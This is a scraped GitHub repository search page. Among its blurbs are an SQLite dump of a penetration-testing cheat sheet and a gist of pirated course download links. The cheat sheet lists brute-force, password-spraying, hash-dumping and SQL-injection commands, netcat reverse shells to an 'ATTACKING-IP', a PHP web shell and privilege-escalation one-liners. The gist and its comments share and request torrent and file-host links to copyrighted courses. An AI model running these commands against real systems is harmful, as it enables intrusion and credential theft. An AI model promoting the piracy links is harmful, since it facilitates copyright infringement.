Found 122 repositories(showing 30)
foam-framework
Feature-Oriented Active Modeller
GuidodiPasquo
Model Rocket Simulator oriented to the design and tuning of active control systems, be them in the form of TVC, Active Fin Control or just parachute deployment algorithms on passively stable rockets. It is able to simulate non-linear actuator dynamics and has some limited Software in the Loop capabilities. The program computes all the subsonic aerodynamic parameters of interest and integrates the 3DOF Equations of Motion to simulate the complete flight.
Don-No7
-- -- File generated with SQLiteStudio v3.2.1 on Sun Feb 7 14:58:28 2021 -- -- Text encoding used: System -- PRAGMA foreign_keys = off; BEGIN TRANSACTION; -- Table: Commands CREATE TABLE Commands (Command_No INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, Name TEXT REFERENCES Programs (Name) NOT NULL, Description TEXT NOT NULL, Command TEXT, File BLOB); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (1, 'Kerbrute', 'brute single user password', 'kerbrute bruteuers [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (2, 'Kerbrute', 'brute username:password combos from file or stdin', 'kerbrute brutforce [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (3, 'Kerbrute', 'test a single password agains a list of users', 'kerbrute passwordspray [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (4, 'Kerbrute', 'Enumerate valid domain usernames via kerberos', 'kerbrute userenum [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (5, 'Name-That-Hash', 'Find the hash type of a string', 'nth --text ''<hash>''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (6, 'Name-That-Hash', 'Find the hash type of a file', 'nth --file <hash file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (7, 'Nmap', 'scan for vulnerabilites', 'nmap --script vuln <HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (8, 'Nikto', 'Scan host for vulnerabilites', 'nikto -h <HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (9, 'SMBClient', 'check for misconfigured anonymous login', 'smbclient -L \\\\<HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (10, 'Hydra', 'Brutforce a webpage looking for usernames', 'hydra -l <user wordlist> -p 123 <HOST_IP> http-post-form ''/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=<output string on failure>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (11, 'SMBMap', 'enumerates SMB file shares', 'smbmap -u <user> -p <pass> -H <host IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (12, 'WPScan', 'Enumerate Wordpress website', 'wpscan --url <wp site> --enumerate --plugins-detection', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (13, 'WPScan', 'enumerate though known usernames', 'wpscan --url <HOST_IP> --usernames <USERNAME_FOUND> --passwords wordlist.dic', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (14, 'PowerShell', 'bypass execution policy', 'powershell.exe -exec bypass', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (15, 'TheHarvester', 'gathering informaiton from online sources', 'theharvester -d <domain> -l <#> -g -b google', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (16, 'Netcat', 'open a listener', 'nc -lvnp <port #>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (17, 'Netcat', 'Connect to computer', 'nc <attacker ip> <attacker port>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (18, 'GoBuster', 'Eunmerate directories on a website with a cookie', 'gobuster dir -u http://<IP> -w <wordlist> -x <extention> -c PHPSESSID=<cookie val>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (19, 'SQLMap', 'map sql at an IP', 'sqlmap -r <IP> --batch --force-ssl', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (20, 'John the Ripper', 'Use wordlist to parse hash', 'john <HASHES_FILE> --wordlist=<wordlist>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (21, 'John the Ripper', 'unencrypt shadow file', 'john <Unshadowed passwds>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (22, 'Unshadow', 'combine /etc/passwd and /etc/shadow file for cracking', 'unshadow <passwd> <shadow>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (23, 'Hashcat', 'crack hashes with a wordlist', 'hashcat -m <hash type> -a 0 -o <output file> <hash file> <wordlist> --force', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (26, 'Enum4Linux', 'basic command', 'enum4linux -a <IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (27, 'SMBClient', 'connect to a SMB share', 'smbclinet //<IP>/<share> -U <username>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (28, 'Netcat', 'connect with shell (-e doest always work)', 'nc -e /bin/sh <ATTACKING-IP> 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (29, 'Netcat', 'connect with shell (-e doest always work)', '/bin/sh | nc ATTACKING-IP 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (30, 'Netcat', 'done on the target', 'rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (31, 'SQLMap', 'Check form for SQL injection', 'sqlmap -o -u "http://meh.com/form/" –forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (32, 'SQLMap', 'automated SQL scan', 'sqlmap -u <URL> --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (33, 'CrackMapExec', 'run a mimikatz module', 'crackmapexec smb <target(s)> -u <username> -p <password> --local-auth -M mimikatz', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (34, 'CrackMapExec', 'Command execution', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' -x whoami', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (35, 'CrackMapExec', 'check logged in users', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' --lusers', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (36, 'CrackMapExec', 'dump local SAM hashes', 'crackmapexec <target(s)> -u ''<uesrname>'' -p ''<password>'' --local-auth --sam', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (37, 'CrackMapExec', 'null session login', 'crackmapexec smb <target(s)> -u '''' -p ''''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (38, 'CrackMapExec', 'list modules', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (39, 'CrackMapExec', 'pass the hash', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (41, 'IKE-Scan', 'attack pre shared key with dictionary', 'psk-crack -d </path/to/dictionary> <psk file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (42, 'IKE-Scan', 'If you find a SonicWALL VPN using agressive mode it will require a group id, the default group id is GroupVPN', 'ike-scan <IP> -A -id GroupVPN', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (43, 'IKE-Scan', 'to find aggressive mode VPNs and save for use with psk-crack', 'ike-scan <IP> -A -P<file out>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (44, 'John the Ripper', 'crack passwords with korelogic rules', 'for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1`; do ./john --rules:${ruleset} -w:<wordlist> <password_file> ; done', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (45, 'Nmap', 'create a list of ip addresses ', 'nmap -sL -n 192.168.1.1-100,102-254 | grep "report for" | cut -d " " -f 5 > ip_list_192.168.1.txt', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (46, 'Linux commands', 'mount NFS share on linux', 'mount -t nfs server:/share /mnt/point', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (47, 'PowerShell', 'create new user', 'net user <username> <password> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (48, 'PowerShell', 'add user to a group (normaly Administrators)', 'net localgroup <group> <username> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (49, 'PSK-Crack', 'brute force with specified length and specified chars (if left blank default is 36)', 'psk-crack -b <#> --charset="<charlist>" <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (50, 'PSK-Crack', 'dictianary attack', 'psk-crack -d <file> <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (51, 'SQLMap', 'check form for SQL injection', 'sqlmap -o -u "<url of form>" --forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (52, 'SQLMap', 'Scan url for union + error based injection with mysql backend and use a random user agent + database dump', 'sqlmap -u "<form URL>?id=1>" --dbms=mysql --tech=U --random-agent --dump ', NULL); -- Table: Exploits CREATE TABLE Exploits (Target TEXT, Type TEXT, Criteria TEXT, Method TEXT, Code TEXT, Result TEXT, Notes TEXT); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Injection', 'ability to write to website folder', 'create or edit a mage of the website and insert the code to get remote access to the machine', '<? php system ($ _ GET [''cmd'']); ?>', 'execute code via url', '<URL of php>?cmd=<code to execue>'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'shell', 'enter code into the shell to find vulnerbilities int he machine', 'find / -perm -u=s -type f 2>/dev/null', 'SUID binaries', 'link output to GTFO bins and exploit'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Box', 'Priv Esc', 'Python binary running as root', 'generate a shell using python to grain root access', 'python3 -c "import pty;pty.spawn(''/bin/sh'');"', 'root shell', 'change pyton varibale acordingly'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('SQL', 'Priv Esc', 'MySQL binary running as root', 'enter into MySQL command line and break out into root y using the code', 'mysql> \! /bin/sh', 'get shell from root priv SQL', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'low privilage shell', 'use the code to search for programs that run as sudo without password', 'sudo -l', NULL, 'list programs that can be used with sudo and no password'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Windows', 'Priv Esc', 'Powershell', 'use code to enumerate priv esc opertunities', 'wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """', 'list of unquoted service paths that might be used for priv esc', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'LFI', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', NULL, 'use Linenum.sh to enumerate linux box', 'wget https://www.linenum.sh/ -P /dev/shm/Linenum.sh; chmod +x /dev/shm/linenum.sh ; ./dev/shm/Linenum.sh | tee /dev/shm/lininfo.txt', ' file, /dev/shm/lininfo.txt, with priv esc info', 'it is possible to use other methods of download like: curl or others found on google'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'No-Auth', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Re-Registration', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'JWT', 'a site that uses jSON as cookies', 'edit the information (with BURP) thats going to the website to gain access without authenitaction', NULL, NULL, NULL); -- Table: Programs CREATE TABLE Programs (Name text PRIMARY KEY NOT NULL UNIQUE, Stage TEXT, Description text, Info text, Features TEXT, Target TEXT, Offensive BOOLEAN, commands TEXT); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nmap', 'Enum', 'Used for scanning a network/host to gather more information', 'man pages on linux', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('BURP Suit', 'Enum, Exploit', 'A program for manipulating HTTP requests, enumeration and Exploit', 'https://portswigger.net/burp/documentation/contents', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Metasploit', 'All', 'Powerfull swiss-army-knife of hacking', 'https://docs.rapid7.com/metasploit/', NULL, 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('MSFVenom', 'Exploit', 'Designed for creating payloads', 'https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom', 'Payloads', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Snort', 'Utility', 'Packet sniffer', 'https://snort-org-site.s3.amazonaws.com/production/document_files/files/000/000/249/original/snort_manual.pdf?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIXACIED2SPMSC7GA%2F20210128%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210128T192737Z&X-Amz-Expires=172800&X-Amz-SignedHeaders=host&X-Amz-Signature=4b51dc730677d14203c4a4cde25c1831ac64e9eca8df89c6737701811fa3f9fd', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('GoBuster', 'Enum', 'A fuzzer for websites', 'man pages on linux', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hydra', 'Exploit', 'Brutforcer for wesite passwords', 'man pages on linux', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Mimikatz', 'Post', 'Used to exploit kerberos', 'https://gist.github.com/insi2304/484a4e92941b437bad961fcacda82d49', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Impacket', 'Exploit', 'The fascilitator of python bassed script that uses modules for attacking windows ', 'https://www.secureauth.com/labs-old/impacket/', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Enum4Linux', 'Enum', 'for Enumerating Windows and Samba hosts', 'man pages included, https://tools.kali.org/information-gathering/enum4linux', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Rubeus', 'Exploit', 'Used for kerberos interaction and abuse', 'https://github.com/GhostPack/Rubeus', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Kerbrute', 'Enum, Exploit', 'quickly enumerate and brutforce active directory accounts through kerberos pre-authentication', 'https://github.com/ropnop/kerbrute/', 'Brute', 'Windows', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('John the Ripper', 'Exploit', 'a password brutforcer', 'https://www.openwall.com/john/doc/', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hashcat', 'Exploit', 'A password bruteforces', 'http://manpages.org/hashcat', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Bloodhound', 'Enum', 'Network mapping tool', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Wireshark', 'Utility', 'Packet sniffer', 'https://www.wireshark.org/download/docs/user-guide.pdf', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hash-Identifier', 'Utility', '(superseeded by Name-That-Hash)A simple python program for identifying hashes', 'man pages on linux', NULL, 'Hash', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Scp', 'Utility', 'For transfering files over SSH connection', 'man pages on llinux', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBClient', 'Utility', 'Used to connect to SMB file shares, can be used to enumerate shares', 'man pages on linux', 'Connect', 'SMB', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PowerShell', 'Utility', 'Powerfull comand line for Windows', 'https://www.pdq.com/powershell/', NULL, 'Windows', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Searchsploit', 'Enum', 'Local version of ExploitDB', 'https://www.exploit-db.com/searchsploit', 'Exploit Enum', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Vim', 'Utiility', 'Text editor', 'https://vimhelp.org/', NULL, 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('LinPeas', 'Post', 'For Enumerating Linux computers', 'Simply run on a linux computer', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nikto', 'Enum', 'For full enumeration on websites', 'https://cirt.net/nikto2-docs/', 'Exploit Enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Radare2', 'Utility', 'A tooll used to reverse engineer programs', 'https://github.com/radareorg/radare2/blob/master/doc/intro.md', 'Reverse', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Evil-WinRM', 'Exploit', 'Malware exuivilent of WinRM and used to exploit windows systems', 'https://github.com/Hackplayers/evil-winrm', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Seatbelt', 'Post', 'Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives', 'https://github.com/GhostPack/Seatbelt', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WinPeas', 'Post', 'For full enumeration of windows host (internal)', 'https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Lockless', 'Post', 'LockLess is a C# tool that allows for the enumeration of open file handles and the copying of locked files', 'https://github.com/GhostPack/Lockless', 'File interaction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SQLMap', 'Exploit', 'Automates the process of detecting and exploiting SQL injection flaws and taking over of database servers', 'http://sqlmap.org/', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('KEETheif', 'Post', 'Allows for the extraction of KeePass 2.X key material from memory, as well as the backdooring and enumeration of the KeePass trigger system', 'https://github.com/GhostPack/KeeThief', 'File interacction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('TheHarvester', 'Enum', 'The objective of this program is to gather emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN computer database', 'https://tools.kali.org/information-gathering/theharvester', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('jSQLInjection', 'Enum', 'used for gathering SQL databse information form a distant source', 'https://tools.kali.org/vulnerability-analysis/jsql', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hping', 'Enum', 'Ping command on steroids, used to enumerating firewalls', 'https://tools.kali.org/information-gathering/hping3', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux Exploit Suggester', 'Post', 'keeps track of vulnerabilities and suggests exploits to gain root access', 'https://tools.kali.org/exploitation-tools/linux-exploit-suggester', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unix-PrivEsc-Check', 'Post', ' It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps, written in a single shell script so is easy to upload', 'https://tools.kali.org/vulnerability-analysis/unix-privesc-check', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Dotdotpwn', 'Enum', 'It’s a very flexible intelligent fuzzer to discover traversal directory vulnerabilities in software such as HTTP/FTP/TFTP servers', 'https://tools.kali.org/information-gathering/dotdotpwn', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Websploit', 'Enum, Exploit', 'Swiss-army-knife of web exploits ranging from social engineering to honeypots and everything in between', 'https://tools.kali.org/web-applications/websploit', NULL, 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('XSSer', 'Enum', 'To detect, exploit and report XSS vulnerabilities in web-based applications', 'https://tools.kali.org/web-applications/xsser', 'Exploit enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Name-That-Hash', 'Utility', 'Hash-identifier with more deatils and command line based', 'https://github.com/HashPals/Name-That-Hash', NULL, 'N/A', 'N', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBMap', 'Enum', 'enumerate shares over a domin', 'https://tools.kali.org/information-gathering/smbmap', 'Scanning', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Redis-Cli', 'Exploit', 'used for interacting and exploiting reddis-cli on port 6379', 'https://book.hacktricks.xyz/pentesting/6379-pentesting-redis ; https://redis.io/topics/rediscli', 'SQL', 'SQL', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unshadow', 'POST', 'Combining passwd and shadow files into 1', 'simply use: unshadow <passwd file> <shadow file> > <output file>', 'Passwords', 'Hash', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WPScan', 'Enum', 'Look for vulnerabilities in wordpress site', 'https://github.com/wpscanteam/wpscan', 'Scanning', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Netcat', 'Utility', 'used for connecting 2 computers', 'https://www.win.tue.nl/~aeb/linux/hh/netcat_tutorial.pdf', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux commands', 'Post', 'Linux commands used for Priv esc', 'https://gtfobins.github.io, https://wadcoms.github.io', 'Priv Esc', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CrackMapExec', 'Enum,, Exploit', 'Swis army knife of network testing', 'https://ptestmethod.readthedocs.io/en/latest/cme.html', 'Scanning, Exploit', 'Networks', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('IKE-Scan', 'Enum', 'Used to dicover, fingerprint and test IPsec VPN systems', 'http://www.nta-monitor.com/wiki/index.php/Ike-scan_User_Guide', 'Scanning', 'VPN', NULL, NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PSK-Crack', 'Exploit', 'attempts to crack IKE Aggressive Mode pre-shared keys that have previously been gathered using ike-scan with the --pskcrack option', 'https://linux.die.net/man/1/psk-crack', 'Connect, Brute', 'Wifi', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CeWL', 'Enum', 'spiders a given url returning a wordlist that is intednded for cracking passwords', 'https://tools.kali.org/password-attacks/cewl', 'Brute', 'Web', 'Y', NULL); COMMIT TRANSACTION; PRAGMA foreign_keys = on;
swati1024
Skip to content Search… All gists Back to GitHub Sign in Sign up Instantly share code, notes, and snippets. @giansalex giansalex/torrent-courses-download-list.md forked from M-Younus/torrent courses download-list Last active 2 days ago 15188 Code Revisions 15 Stars 151 Forks 88 <script src="https://gist.github.com/giansalex/4cd3631e94433bbbd71bf07aedb33a7b.js"></script> torrent-courses-download-list.md Torrent Courses List Download http://kickass.to/infiniteskills-learning-jquery-mobile-working-files-t7967156.html http://kickass.to/lynda-bootstrap-3-advanced-web-development-2013-eng-t8167587.html http://kickass.to/lynda-css-advanced-typographic-techniques-t7928210.html http://kickass.to/lynda-html5-projects-interactive-charts-2013-eng-t8167670.html http://kickass.to/vtc-html5-css3-responsive-web-design-course-t7922533.html http://kickass.to/10gen-m101js-mongodb-for-node-js-developers-2013-eng-t8165205.html http://kickass.to/cbt-nuggets-amazon-web-services-aws-foundations-t7839734.html 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http://www.seedpeer.me/details/4848277/TutsPlus---Build-Web-Apps-in-Node-and-Express.html http://www.seedpeer.me/details/5683153/Tutsplus---Catch-Up-with-Ruby-on-Rails-4.html http://www.seedpeer.me/details/4918947/TutsPlus---CodeIgniter-Essentials.html http://www.seedpeer.me/details/5069781/TutsPlus---Connected-to-the-Backbone.html http://www.seedpeer.me/details/5513056/Tutsplus---Designing-Professional-Resumes.html http://www.seedpeer.me/details/5706815/Tutsplus-Easier-JavaScript-Apps-with-AngularJS.html http://www.seedpeer.me/details/6462415/TutsPlus---Easier-JavaScript-with-TypeScript.html http://www.seedpeer.me/details/5868293/TutsPlus---Getting-Started-With-Windows-8-Development-Using-HTML,-CSS-&-JavaScript-V413HAV.html http://www.seedpeer.me/details/6150521/TutsPlus-HTML5-Video-Essentials-PRODEV.html http://www.seedpeer.me/details/4841911/TutsPlus---JavaScript-Testing-With-Jasmine.html http://www.seedpeer.me/details/6593486/TutsPlus---Less-is-More.html http://www.seedpeer.me/details/6571637/TutsPlus---Modern-Testing-in-PHP-with-Codeception.html http://www.seedpeer.me/details/6095651/Tutsplus---Parallax-Scrolling-for-Web-Design.html http://www.seedpeer.me/details/6574591/TutsPlus---Say-Yo-to-Yeoman.html http://www.seedpeer.me/details/4811335/Tutsplus---Test-Driven-Development-in-Ruby.html http://www.seedpeer.me/details/6268980/TutsPlus-Test-Driven-Development-With-CoffeeScript-and-Jasmine.html http://www.seedpeer.me/details/6185755/TutsPlus---The-MVC-Mindser-Jeffery-Way---ICARUS.html http://www.seedpeer.me/details/5024493/TutsPlus---Venture-Into-Vim.html http://www.seedpeer.me/details/6286416/Tutsplus---Vim-for-Advanced-Users.html http://www.seedpeer.me/details/6585031/Tutsplus---WordPress-Hackers-Guide-to-the-Galaxy.html http://www.seedpeer.me/details/4848477/TutsPlus---Writing-Modular-JavaScript.html @giansalex Owner Author giansalex commented on 26 Feb 2018 • SOLID http://www.allitebooks.com/beginning-solid-principles-and-design-patterns-for-asp-net-developers/ @giansalex Owner Author giansalex commented on 7 Mar 2018 Udemy: AWS Arquitecto de Soluciones Certificado Asociado https://mega.co.nz/#!ZzhGWSAL!wuthFca0SdJBjmaP5lFX0QF6PeMsrdclKFXlZL1Rsi4 Pass: gratismas.org @giansalex Owner Author giansalex commented on 7 Mar 2018 Go lang Complete https://www.freetutorials.us/wp-content/uploads/2017/11/FreeTutorials.Us-Udemy-go-the-complete-developers-guide.torrent @GCPBigData GCPBigData commented on 15 Jul 2018 go books https://drive.google.com/open?id=1d6OsFAn8kpHCXtw0bcoYuyHqrAdGZva0 @freisrael freisrael commented on 14 Aug 2018 giansalex thanks for sharing. I am looking for learning phython with Joe Marini. It would be great if you post it. @FirstBoy1 FirstBoy1 commented on 25 May 2019 Can anyone provide this book "Getting started with Spring Framework: covers Spring 5" by " J Sharma (Author), Ashish Sarin ". Thanks in advance @okreka okreka commented on 31 May 2019 Can anyone provide "Windows Presentation Foundation Masterclass" course from Udemy. Thanks in advance @singhaltanvi singhaltanvi commented on 8 Aug 2019 can anyone provide 'sedimentology and petroleum geology' course from Udemy. Thanks in advance. @kumarsreenivas051 kumarsreenivas051 commented on 9 Sep 2019 Can anyone provide "Programming languages A,B and C" course from Coursera. Thanks in advance. @BrunoMoreno BrunoMoreno commented on 11 Sep 2019 The link for the torrents in piratebay, now is .org to the correct url. @sany2k8 sany2k8 commented on 24 Sep 2019 Can anyone add this The Complete Hands-On Course to Master Apache Airflow @pharaoh1 pharaoh1 commented on 30 Sep 2019 can you pls add this course to your list https://www.udemy.com/course/advanced-python3/ @SushantDhote936 SushantDhote936 commented on 1 Oct 2019 Can you add Plural Sight CISSP @allayGerald allayGerald commented on 1 Oct 2019 open directive for lynda 